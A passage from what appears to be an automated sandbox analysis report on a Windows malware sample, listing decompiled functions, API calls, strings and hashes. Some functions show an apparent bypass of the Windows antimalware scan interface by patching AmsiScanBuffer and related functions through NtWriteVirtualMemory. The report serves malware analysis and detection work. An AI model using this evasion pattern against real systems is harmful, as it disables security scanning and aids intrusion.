                                    • API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
                                    • String ID: GetLongPathNameA$\$kernel32.dll
                                    • API String ID: 3245196872-1565342463
                                    • Opcode ID: b43855e4153fe49b6a0179179282f21c01a0c1d64c6a2703a44d338c681e03ce
                                    • Instruction ID: 3dc2a2f220d6bae1a0e2d8c135ceec826200a16d9e537a517b89f5521176b465
                                    • Opcode Fuzzy Hash: b43855e4153fe49b6a0179179282f21c01a0c1d64c6a2703a44d338c681e03ce
                                    • Instruction Fuzzy Hash: CE418D72D40218AFDB12DBE8CC98AEEB7BDAF49390F4845A5E149E7240E7709B448F50
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCCF5C Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 249processnativesynchronizationCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?,?,?,?,?,?), ref: 02CCD18E
                                      • Part of subcall function 02CC7B74: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BAC
                                      • Part of subcall function 02CC7B74: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BBA
                                      • Part of subcall function 02CC7B74: GetProcAddress.KERNEL32(74180000,00000000), ref: 02CC7BD3
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BEC
                                      • Part of subcall function 02CC7B74: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BF2
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C1C
                                      • Part of subcall function 02CC7B74: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C22
                                      • Part of subcall function 02CC7B74: FreeLibrary.KERNEL32(74180000,00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000), ref: 02CC7C2D
                                    • NtCreateProcess.N(?,001F0FFF,02DE28D0,00000000,00000001,00000000,00000000,00000000,ScanBuffer,02CCD3E4,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CCD224
                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,001F0FFF,02DE28D0,00000000,00000001,00000000,00000000,00000000,ScanBuffer,02CCD3E4,00000000,00000000,00000000,00000000), ref: 02CCD301
                                    • CloseHandle.KERNEL32(?,?,000000FF,?,001F0FFF,02DE28D0,00000000,00000001,00000000,00000000,00000000,ScanBuffer,02CCD3E4,00000000,00000000,00000000), ref: 02CCD30A
                                    • CloseHandle.KERNEL32(?,?,?,000000FF,?,001F0FFF,02DE28D0,00000000,00000001,00000000,00000000,00000000,ScanBuffer,02CCD3E4,00000000,00000000), ref: 02CCD313
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Process$Handle$CloseCreateCurrentLibraryMemoryVirtual$AddressFreeLoadModuleObjectProcProtectSingleUserWaitWrite
                                    • String ID: Amsi$AmsiOpenSession$AmsiScanBuffer$AmsiScanString$AmsiUacInitialize$AmsiUacScan$D$ScanBuffer
                                    • API String ID: 1793472385-2335947617
                                    • Opcode ID: 7bd75b400b79ae2f90ed4e05e940a042e313ba37a2bf1e280be838cc38a098ca
                                    • Instruction ID: 10bb341daafe8915bb9fa717767a98c6c97683740cc541dbcd171bf98ba6eb91
                                    • Opcode Fuzzy Hash: 7bd75b400b79ae2f90ed4e05e940a042e313ba37a2bf1e280be838cc38a098ca
                                    • Instruction Fuzzy Hash: 55A14075A042289BDF36EB60CC90BCEB3BAEF49300F6045E5E50DB7241DA74AE859F50
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB5B9C Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02CB5BAC
                                    • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02CB5BB9
                                    • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02CB5BBF
                                    • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02CB5BEA
                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02CB5C31
                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02CB5C41
                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02CB5C69
                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02CB5C79
                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02CB5C9F
                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02CB5CAF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                    • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                    • API String ID: 1599918012-2375825460
                                    • Opcode ID: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
                                    • Instruction ID: 9b7a20917a810c8f1f12f7ce84e2e87010945058b93a6844211d529d5c5a6a95
                                    • Opcode Fuzzy Hash: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
                                    • Instruction Fuzzy Hash: 173173B1E4021C2AFB27D6F4DC86FDE77AE4F443C0F4801A19608E6181EAB49B848F91
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCCA20 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CB4EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02CB4EF2
                                    • RtlInitUnicodeString.N(?,?,00000000,02CCCA9A), ref: 02CCCA48
                                    • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02CCCA9A), ref: 02CCCA5E
                                    • NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02CCCA9A), ref: 02CCCA7D
                                      • Part of subcall function 02CB4C24: SysFreeString.OLEAUT32(02CCD6B8), ref: 02CB4C32
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
                                    • String ID:
                                    • API String ID: 1694942484-0
                                    • Opcode ID: b86a4bdb295c5669c11c6c03fb16c7ae22cb0cf12ba35b87b7949d994488b846
                                    • Instruction ID: d1f2b3ce9fb8eef73d2ea6d52a09aac88856c7d081b5460c36e19f913008a81f
                                    • Opcode Fuzzy Hash: b86a4bdb295c5669c11c6c03fb16c7ae22cb0cf12ba35b87b7949d994488b846
                                    • Instruction Fuzzy Hash: FA01E175944208BADB15EAA0CD52FCDB3EDEB48700F604576E605F2180EA746B05DA64
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB7FB8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02CB7FD9
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: DiskFreeSpace
                                    • String ID:
                                    • API String ID: 1705453755-0
                                    • Opcode ID: ed347db4d50467898ada69b8a2b4b872e73a591fc986ed0462a5f8caf8e303b1
                                    • Instruction ID: be22d6778b462bb473c586d2302edc1b08cea90fc8bc394929d67fceaf9294d2
                                    • Opcode Fuzzy Hash: ed347db4d50467898ada69b8a2b4b872e73a591fc986ed0462a5f8caf8e303b1
                                    • Instruction Fuzzy Hash: 9F11DEB5E00209AF9B45CFA9C881DEFF7F9EFC8300F54C569A509E7254E6719A018BA0
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBA7A8 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02CBA7C6
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: InfoLocale
                                    • String ID:
                                    • API String ID: 2299586839-0
                                    • Opcode ID: c5002ac666217e3fc8018e8c2be572dce496c21dd53c59d62ff8594365e5cde6
                                    • Instruction ID: 3c12c4131d16b2c3fb344c41c6c52f1b026cddc66e5c72ae3933de68144fa62d
                                    • Opcode Fuzzy Hash: c5002ac666217e3fc8018e8c2be572dce496c21dd53c59d62ff8594365e5cde6
                                    • Instruction Fuzzy Hash: FDE0D83170821417D716A5689C919F6735D9F5C310F00417ABD49D7341EDB09D448AE4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBB770 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetVersionExA.KERNEL32(?,02CD8106,00000000,02CD811E), ref: 02CBB77E
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Version
                                    • String ID:
                                    • API String ID: 1889659487-0
                                    • Opcode ID: 14ce15e7f285de701c5d91026c24319c18b0991a743765511ec6be2244e8c498
                                    • Instruction ID: 288fede494c4cde1eed80717f69a5995cc81c3f46c73d1e7aff9eb9058e118c6
                                    • Opcode Fuzzy Hash: 14ce15e7f285de701c5d91026c24319c18b0991a743765511ec6be2244e8c498
                                    • Instruction Fuzzy Hash: 7CF0B2B8A453019FC755DF28E541B9977E4FB88B14F068E29E898D7780E7349814CF62
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBA7F4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02CBBE56,00000000,02CBC06F,?,?,00000000,00000000), ref: 02CBA807
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: InfoLocale
                                    • String ID:
                                    • API String ID: 2299586839-0
                                    • Opcode ID: 7e8920f8d0d2d0f23a6a7b610fcb7e2c8d9d986827befababdb0fca97cc2ae55
                                    • Instruction ID: 60cc73f398cf629c616d97485773f5aad58062c22eb81bc82c9890c5bee0756f
                                    • Opcode Fuzzy Hash: 7e8920f8d0d2d0f23a6a7b610fcb7e2c8d9d986827befababdb0fca97cc2ae55
                                    • Instruction Fuzzy Hash: 48D05E6270D2602AE211515B6D84DBB5ADCCECA7A1F10807AF688C7100E2208C0697B1
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB91F0 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: LocalTime
                                    • String ID:
                                    • API String ID: 481472006-0
                                    • Opcode ID: f4f18dacdc05837cd8c7ce478f2f875bfbac66a52ed17a04de46c01d51863990
                                    • Instruction ID: d9e2efcd51113a4acb0f200e0bb068c4ebf2ce3f67a4e904955dc12c95353914
                                    • Opcode Fuzzy Hash: f4f18dacdc05837cd8c7ce478f2f875bfbac66a52ed17a04de46c01d51863990
                                    • Instruction Fuzzy Hash: B3A01200405820058140332C4C021B930445D01620FD4074468F8502D0E92D01205193
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB20C4 Relevance: .1, Instructions: 94COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                    • Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
                                    • Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                    • Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBD278 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02CBD281
                                      • Part of subcall function 02CBD24C: GetProcAddress.KERNEL32(00000000), ref: 02CBD265
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressHandleModuleProc
                                    • String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
                                    • API String ID: 1646373207-1918263038
                                    • Opcode ID: 27539211f82f03bc8c28d903d002043a6dae8a8eedf4202374c99ae0ef5b59b6
                                    • Instruction ID: 0a88c94aa31fc2e246289beef1ea10df8a74e1be913e44cbf540c590ab54b2cf
                                    • Opcode Fuzzy Hash: 27539211f82f03bc8c28d903d002043a6dae8a8eedf4202374c99ae0ef5b59b6
                                    • Instruction Fuzzy Hash: 684157E9E442869F5A0B6F6D74005E773DADF84360F60461BB80A8F354DE30FC51AE6A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Message
                                    • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                    • API String ID: 2030045667-32948583
                                    • Opcode ID: e02efc5aa42f23aeb228c1e4b0e0b82efde888ba51e8972392129b174f15908f
                                    • Instruction ID: 84c5249400f462ec37c64a218c067a491670e78f63b688c9ad37e9b35d7befba
                                    • Opcode Fuzzy Hash: e02efc5aa42f23aeb228c1e4b0e0b82efde888ba51e8972392129b174f15908f
                                    • Instruction Fuzzy Hash: 4EA1E570E042648BDF23AA2CCC84BD9B6E9EF49350F1441E5DD49AB385CB758A89CF52
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCC1F8 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 420libraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,ScanBuffer,02CEE53C,02CCC85C,UacInitialize,02CEE53C,02CCC85C,OpenSession,02CEE53C,02CCC85C,00000000,02CCC841), ref: 02CCC33E
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CCC344
                                      • Part of subcall function 02CC7B74: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BAC
                                      • Part of subcall function 02CC7B74: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BBA
                                      • Part of subcall function 02CC7B74: GetProcAddress.KERNEL32(74180000,00000000), ref: 02CC7BD3
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BEC
                                      • Part of subcall function 02CC7B74: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BF2
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C1C
                                      • Part of subcall function 02CC7B74: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C22
                                      • Part of subcall function 02CC7B74: FreeLibrary.KERNEL32(74180000,00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000), ref: 02CC7C2D
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressCurrentHandleLibraryMemoryModuleProcProcessVirtual$FreeLoadProtectWrite
                                    • String ID: C:\Windows\System32\ntdll.dll$NtWriteVirtualMemory$OpenSession$ScanBuffer$ScanString$UacInitialize
                                    • API String ID: 327143009-171402031
                                    • Opcode ID: a67887aaea02723ee3d5d4fc51c043a9b826702539cb0dd1cabbaa420800fc93
                                    • Instruction ID: 5fdf104c8070203d71e453db03357ffa3a9c35c2c168dc193f8c7451893b2ec2
                                    • Opcode Fuzzy Hash: a67887aaea02723ee3d5d4fc51c043a9b826702539cb0dd1cabbaa420800fc93
                                    • Instruction Fuzzy Hash: 15F12431E041589FEF26EBA4D8A0EDEB3BAEF49700F2081B6D109B7215DA709E45DF51
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                    Download Yara Rule
                                    Strings
                                    • The unexpected small block leaks are:, xrefs: 02CB2707
                                    • Unexpected Memory Leak, xrefs: 02CB28C0
                                    • , xrefs: 02CB2814
                                    • The sizes of unexpected leaked medium and large blocks are: , xrefs: 02CB2849
                                    • An unexpected memory leak has occurred. , xrefs: 02CB2690
                                    • 7, xrefs: 02CB26A1
                                    • bytes: , xrefs: 02CB275D
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                    • API String ID: 0-2723507874
                                    • Opcode ID: bad56055fdc9adcd4bcfbf31970e5106dd524fc7e1472600fc0b8bfd36ae3f75
                                    • Instruction ID: 3700132027e243f948bf0b80446bd09a4ce7d69aa49845cbeab75b8583807530
                                    • Opcode Fuzzy Hash: bad56055fdc9adcd4bcfbf31970e5106dd524fc7e1472600fc0b8bfd36ae3f75
                                    • Instruction Fuzzy Hash: 7B71C470E042988FDF22AA2CCC84BD9BAE9EF49344F1041E5D949EB281DB754AC5CF52
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBBDA4 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetThreadLocale.KERNEL32(00000000,02CBC06F,?,?,00000000,00000000), ref: 02CBBDDA
                                      • Part of subcall function 02CBA7A8: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02CBA7C6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Locale$InfoThread
                                    • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                    • API String ID: 4232894706-2493093252
                                    • Opcode ID: 73a183bf4e3c8231a6c3f2e2dd5e3ba4726210add38f6a626940c6b04367c2cf
                                    • Instruction ID: 4f84477535025ce7d24d1e62a5271d6f1541dc6519c841e0fee1a9f38088d922
                                    • Opcode Fuzzy Hash: 73a183bf4e3c8231a6c3f2e2dd5e3ba4726210add38f6a626940c6b04367c2cf
                                    • Instruction Fuzzy Hash: B0618034B041489BDF16EBA8DC907DF73BB9F88300F509435A542EB646CA39DA09AB90
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB4320 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                    Download Yara Rule
                                    APIs
